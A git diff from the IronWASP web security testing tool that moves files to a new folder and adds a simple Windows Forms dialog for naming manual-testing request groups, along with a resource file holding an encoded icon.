this.DoneBtn.UseVisualStyleBackColor = true; + this.DoneBtn.Click += new System.EventHandler(this.DoneBtn_Click); + // + // SwithToMTSectionCB + // + this.SwithToMTSectionCB.AutoSize = true; + this.SwithToMTSectionCB.Checked = true; + this.SwithToMTSectionCB.CheckState = System.Windows.Forms.CheckState.Checked; + this.SwithToMTSectionCB.Location = new System.Drawing.Point(229, 236); + this.SwithToMTSectionCB.Name = "SwithToMTSectionCB"; + this.SwithToMTSectionCB.Size = new System.Drawing.Size(259, 17); + this.SwithToMTSectionCB.TabIndex = 2; + this.SwithToMTSectionCB.Text = "Take me to Manual Testing Section automatically"; + this.SwithToMTSectionCB.UseVisualStyleBackColor = true; + // + // textBox4 + // + this.textBox4.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox4.Dock = System.Windows.Forms.DockStyle.Top; + this.textBox4.Location = new System.Drawing.Point(5, 5); + this.textBox4.Multiline = true; + this.textBox4.Name = "textBox4"; + this.textBox4.ReadOnly = true; + this.textBox4.Size = new System.Drawing.Size(479, 77); + this.textBox4.TabIndex = 6; + this.textBox4.TabStop = false; + this.textBox4.Text = "The Manual Testing section can contain multiple requests and so naming requests m" + + "akes it easy to identify them.\r\n\r\nEnter a name and click \'Done\'"; + // + // Step0StatusTB + // + this.Step0StatusTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.Step0StatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.Step0StatusTB.Location = new System.Drawing.Point(17, 161); + this.Step0StatusTB.Multiline = true; + this.Step0StatusTB.Name = "Step0StatusTB"; + this.Step0StatusTB.Size = new System.Drawing.Size(394, 46); + this.Step0StatusTB.TabIndex = 19; + this.Step0StatusTB.TabStop = false; + this.Step0StatusTB.Visible = false; + // + // label7 + // + this.label7.AutoSize = true; + this.label7.Location = new System.Drawing.Point(17, 127); + this.label7.Name = "label7"; + this.label7.Size = new System.Drawing.Size(227, 13); + this.label7.TabIndex = 18; + this.label7.Text = "( if left blank a name is automatically assigned )"; + // + // label6 + // + this.label6.AutoSize = true; + this.label6.Location = new System.Drawing.Point(17, 102); + this.label6.Name = "label6"; + this.label6.Size = new System.Drawing.Size(100, 13); + this.label6.TabIndex = 17; + this.label6.Text = "Name this Request:"; + // + // RequestNameTB + // + this.RequestNameTB.Location = new System.Drawing.Point(117, 99); + this.RequestNameTB.Name = "RequestNameTB"; + this.RequestNameTB.Size = new System.Drawing.Size(269, 20); + this.RequestNameTB.TabIndex = 16; + // + // NameTestGroupWizard + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(489, 256); + this.Controls.Add(this.Step0StatusTB); + this.Controls.Add(this.label7); + this.Controls.Add(this.label6); + this.Controls.Add(this.RequestNameTB); + this.Controls.Add(this.textBox4); + this.Controls.Add(this.SwithToMTSectionCB); + this.Controls.Add(this.DoneBtn); + this.Controls.Add(this.CancelBtn); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Name = "NameTestGroupWizard"; + this.Padding = new System.Windows.Forms.Padding(5); + this.Text = "Name this Request"; + this.Load += new System.EventHandler(this.NameTestGroupWizard_Load); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private System.Windows.Forms.Button CancelBtn; + private System.Windows.Forms.Button DoneBtn; + private System.Windows.Forms.CheckBox SwithToMTSectionCB; + private System.Windows.Forms.TextBox textBox4; + internal System.Windows.Forms.TextBox Step0StatusTB; + private System.Windows.Forms.Label label7; + private System.Windows.Forms.Label label6; + private System.Windows.Forms.TextBox RequestNameTB; + } } \ No newline at end of file diff --git a/IronWASP/NameTestGroupWizard.cs b/Iron/NameTestGroupWizard.cs similarity index 96% rename from IronWASP/NameTestGroupWizard.cs rename to Iron/NameTestGroupWizard.cs index 8527833..e9b30ae 100644 --- a/IronWASP/NameTestGroupWizard.cs +++ b/Iron/NameTestGroupWizard.cs @@ -1,90 +1,90 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Data; -using System.Drawing; -using System.Text; -using System.Threading; -using System.Windows.Forms; - -namespace IronWASP -{ - public partial class NameTestGroupWizard : Form - { - static bool MoveToMTSection = true; - - internal Request RequestToTest = null; - - public NameTestGroupWizard() - { - InitializeComponent(); - } - - private void CancelBtn_Click(object sender, EventArgs e) - { - this.Close(); - } - - private void DoneBtn_Click(object sender, EventArgs e) - { - ShowStep0Error(""); - string Name = RequestNameTB.Text.Trim(); - if (Name.Length == 0) - { - bool Named = false; - while (!Named) - { - Name = string.Format("untitled-{0}", Interlocked.Increment(ref ManualTesting.UntitledCount)); - if (!ManualTesting.GroupSessions.ContainsKey(Name)) - { - Named = true; - } - } - } - else - { - if (ManualTesting.GroupSessions.ContainsKey(Name)) - { - ShowStep0Error("A Request group with this name already exists, pick another one."); - return; - } - } - MoveToMTSection = SwithToMTSectionCB.Checked; - ManualTesting.CreateNewGroupWithRequest(RequestToTest, Name, MoveToMTSection); - this.Close(); - } - - private void NameTestGroupWizard_Load(object sender, EventArgs e) - { - SwithToMTSectionCB.Checked = MoveToMTSection; - } - - void ShowStep0Error(string Text) - { - Step0StatusTB.Text = Text; - Step0StatusTB.BackColor = Color.Red; - if (Text.Length == 0) - Step0StatusTB.Visible = false; - else - Step0StatusTB.Visible = true; - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Text; +using System.Threading; +using System.Windows.Forms; + +namespace IronWASP +{ + public partial class NameTestGroupWizard : Form + { + static bool MoveToMTSection = true; + + internal Request RequestToTest = null; + + public NameTestGroupWizard() + { + InitializeComponent(); + } + + private void CancelBtn_Click(object sender, EventArgs e) + { + this.Close(); + } + + private void DoneBtn_Click(object sender, EventArgs e) + { + ShowStep0Error(""); + string Name = RequestNameTB.Text.Trim(); + if (Name.Length == 0) + { + bool Named = false; + while (!Named) + { + Name = string.Format("untitled-{0}", Interlocked.Increment(ref ManualTesting.UntitledCount)); + if (!ManualTesting.GroupSessions.ContainsKey(Name)) + { + Named = true; + } + } + } + else + { + if (ManualTesting.GroupSessions.ContainsKey(Name)) + { + ShowStep0Error("A Request group with this name already exists, pick another one."); + return; + } + } + MoveToMTSection = SwithToMTSectionCB.Checked; + ManualTesting.CreateNewGroupWithRequest(RequestToTest, Name, MoveToMTSection); + this.Close(); + } + + private void NameTestGroupWizard_Load(object sender, EventArgs e) + { + SwithToMTSectionCB.Checked = MoveToMTSection; + } + + void ShowStep0Error(string Text) + { + Step0StatusTB.Text = Text; + Step0StatusTB.BackColor = Color.Red; + if (Text.Length == 0) + Step0StatusTB.Visible = false; + else + Step0StatusTB.Visible = true; + } + } +} diff --git a/Iron/NameTestGroupWizard.resx b/Iron/NameTestGroupWizard.resx new file mode 100644 index 0000000..c0d1bbb --- /dev/null +++ b/Iron/NameTestGroupWizard.resx @@ -0,0 +1,1918 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + 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 + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGXTwHRl0/M0ZdPqtGXT6rRl0/M0ZdPAQAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPU9GXT//Rl0+q0ZdPqtGX + T//Rl09SAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGXTwPRl0/V0ZdP/9GX + T6rRl0+q0ZdP/9GXT9TRl08DAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPXdGX + T//Rl0//0ZdPqtGXT6rRl0//0ZdP/9GXT1wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + TwXRl0/c0ZdP/9GXT//Rl0+q0ZdPqtGXT//Rl0//0ZdP3NGXTwUAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAA0ZdPZ9GXT//Rl0//0ZdP/9GXT6rRl0+q0ZdP/9GXT//Rl0//0ZdPZwAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAANGXTwjRl0/j0ZdP/9GXT//Rl0//0ZdPqtGXT6rRl0//0ZdP/9GXT//Rl0/j0ZdPCAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA0ZdPPdGXT//Rl0//0ZdP/9GXT//Rl0+q0ZdPqtGXT//Rl0//0ZdP/9GX + T//Rl089AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxNNTEtR0ZdP0tGXT//Rl0//0ZdP/9GXT6rRl0+q0ZdP/9GX + T//Rl0//0ZdP0U1MS1JLS0sSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLhUtLS9PPlk9b0ZdP/9GXT//Rl0//0ZdPqtGX + T6rRl0//0ZdP/9GXT//Olk9bS0tL1UtLS4QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxNLS0vyS0tL/1FOS1HRl0/c0ZdP/9GX + T//Rl0+q0ZdPqtGXT//Rl0//0ZdP21BOS1VLS0v/S0tL8ktLSxMAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLhktLS/9LS0v/S0tLxdGX + T2bRl0//0ZdP/9GXT6rRl0+q0ZdP/9GXT//Rl09mS0tLyktLS/9LS0v/S0tLhgAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxRLS0vyS0tL/0tL + S/9LS0v/WVNLRtGXT+XRl0//0ZdPqtGXT6rRl0//0ZdP5FdSS0xLS0v/S0tL/0tLS/9LS0vyS0tLFAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLh0tL + S/9LS0v/S0tL/0tLS/9LS0u30ZdPXNGXT7HRl0920ZdPdtGXT7HRl09cS0tLv0tLS/9LS0v/S0tL/0tL + S/9LS0uHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtL + SxVLS0vzS0tL/0tLS/9LS0v/S0tL/0tLS9jczG4u3c1uZN3NbmTdzW5k3c1uZNbHbC9LS0vfS0tL/0tL + S/9LS0v/S0tL/0tLS/NLS0sUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAS0tLiUtLS/9LS0v/S0tL/0tLS/9LS0v/TExLXt3NbsrdzW7/3c1u/93Nbv/dzW7/3c1uy0xM + S2ZLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS4gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAEtLSxVLS0vzS0tL/0tLS/9LS0v/S0tL/0tLS9vWx2xN3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/08RsUUtLS+BLS0v/S0tL/0tLS/9LS0v/S0tL80tLSxUAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAS0tLiktLS/9LS0v/S0tL/0tLS/9LS0v/S0tLYd3NbsfdzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7KTExLZ0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLiQAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxZLS0v0S0tL/0tLS/9LS0v/S0tL/0tLS93UxWxK3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/Sw2tRS0tL4EtLS/9LS0v/S0tL/0tLS/9LS0v0S0tLFgAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLi0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLY93N + bsPdzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93NbspMTEtoS0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0uLAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxdLS0v0S0tL/0tLS/9LS0v/S0tL/0tL + S9/SxGtH3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/9LDa1FLS0vhS0tL/0tL + S/9LS0v/S0tL/0tLS/RLS0sWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLjEtLS/9LS0v/S0tL/0tL + S/9LS0v/S0tLZt3Nbr/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1uyUxM + S2lLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS4wAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxdLS0v1S0tL/0tL + S/9LS0v/S0tL/0tLS+HQwmtE3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/0cJrUUtLS+JLS0v/S0tL/0tLS/9LS0v/S0tL9UtLSxcAAAAAAAAAAAAAAAAAAAAAS0tLjktL + S/9LS0v/S0tL/0tLS/9LS0v/S0tLaN3NbrvdzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7JTEtLaktLS/9LS0v/S0tL/0tLS/9LS0v/S0tLjQAAAAAAAAAAAAAAAEtL + SxhLS0v1S0tL/0tLS/9LS0v8S0tLtEtLS09RUEwD3c1uRt3NbpLdzW7d3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7g3c1ult3NbkuEfVkFS0tLT0tLS7RLS0v8S0tL/0tLS/9LS0v1S0tLGAAA + AAAAAAAAS0tLj0tLS/9LS0vgS0tLfUtLSxwAAAAAAAAAAAAAAAAAAAAAAAAAAN3NbgDdzW4q3c1udt3N + bsHdzW773c1u+93NbsLdzW533c1uLN3NbgAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxxLS0t+S0tL4EtL + S/9LS0uOAAAAAEtLSxRLS0ujS0tLR0tLSwIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAN3NbhLdzW4SAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AABLS0sCS0tLSEtLS6NLS0sTAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///////5////+f////D////gf///4H///8A////AP///g + B///4Af//8AD///AA///gAH//4AB//8AAP//AAD//gAAf/4AAH/8AAA//AAAP/gAAB/4AAAf8AAAD/AA + AA/gAAAH4AAAB8AAAAPAAAADgAAAAYPwD8EP/n/w/////ygAAAAwAAAAYAAAAAEAIAAAAAAAACQAACMu + AAAjLgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAANGXTxDRl08QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA0ZdPE9GXT3DRl09w0ZdPEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPidGXT3/Rl09/0ZdPiAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADRl08Z0ZdP9dGXT3/Rl09/0ZdP9dGX + TxgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADRl0+T0ZdP/9GX + T3/Rl09/0ZdP/9GXT5IAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + Tx/Rl0/40ZdP/9GXT3/Rl09/0ZdP/9GXT/jRl08fAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAANGXT53Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GXT//Rl0+cAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA0ZdPJtGXT/vRl0//0ZdP/9GXT3/Rl09/0ZdP/9GXT//Rl0/70ZdPJgAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPp9GXT//Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GX + T//Rl0//0ZdPpwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADRl08v0ZdP/dGXT//Rl0//0ZdP/9GX + T3/Rl09/0ZdP/9GXT//Rl0//0ZdP/dGXTy4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADRl0+x0ZdP/9GX + 